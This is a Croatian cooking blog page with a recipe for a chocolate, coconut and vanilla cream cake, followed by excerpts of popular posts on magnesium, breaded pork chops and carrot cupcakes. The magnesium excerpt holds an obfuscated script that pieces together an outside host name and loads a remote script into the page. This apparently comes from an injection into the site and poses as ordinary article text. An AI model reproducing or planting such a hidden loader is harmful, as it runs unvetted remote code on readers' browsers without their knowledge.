KREMASTI KOLAČ S ČOKOLADOM, VANILIJOM I KOKOSOM 🍫




Kremasti kolač s čokoladom, vanilijom i kokosom 




Ako volite deserte koji izgledaju kao iz fine slastičarnice - ovaj kolač je upravo to. Bogata čokoladna brownie podloga, sočan sloj kokosa i svileno nježna krema od vanilije slojevito se stapaju u savršeni balans okusa i teksture. Idealno za blagdane, rođendane ili kada jednostavno želite impresionirati svoje ukućane ili goste koji su vam se najavili.




Kremasti kolač s čokoladom, vanilijom i kokosom 


Sastojci:

Čokoladna podloga

180 gčokolade za kuhanje
120 gmaslaca
120 gšećera
3jaja
80 gglatkog brašna
1 prstohvatsoli
1 žličicaekstrakta vanilije

Sloj od kokosa

200 gkokosovog brašna
200 ml zaslađenog kondenziranog mlijeka
1 žlicaruma ili ekstrakta ruma (po želji)

Krema od vanilije

500 mlmlijeka
2žumanjka
60 gšećera
40 ggustina
2 žličiceekstrakta vanilije
200 mlslatkog vrhnja




Priprema:

Čokoladna podloga

Otopite čokoladu

Otopite čokoladu i maslac na pari ili vrlo laganoj vatri.


Pomiješajte sastojke

Umiješajte šećer, potom jaja jedno po jedno, pa ekstrakt vanilije. Dodajte brašno i sol pa lagano umiješajte (ne miksati previše).


Ispecite

Izlijte u kalup obložen papirom za pečenje. Pecite na 170 °C oko 15-18 minuta. Podloga treba ostati blago sočna.



Sloj od kokosa

Pomiješajte sastojke

Pomiješajte kokos s kondenziranim mlijekom i po želji dodajte rum. Nanesite na još mlaku čokoladnu podlogu i lagano poravnajte.



Krema od vanilije

Zagrijte vaniliju

U mlijeku zagrijte vaniliju do vrenja.


Pomiješajte sastojke

U posebnoj posudi umutite žumanjke, šećer i gustin. Vruće mlijeko ulijte u smjesu žumanjaka uz stalno miješanje, pa vratite na vatru i kuhajte dok se ne zgusne. Ohladite uz povremeno miješanje da se ne stvori kožica.


Napravite šlag

Vrhnje za šlag istucite pa ga umiješajte u potpuno ohlađenu kremu. Nježno rasporedite kremu preko sloja od kokosa.


Dovršite kolač

Kolač posipajte naribanom čokoladom i mrvicama kokosa. Ostavite da odstoji barem 4 sata u hladnjaku, idealno preko noći.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više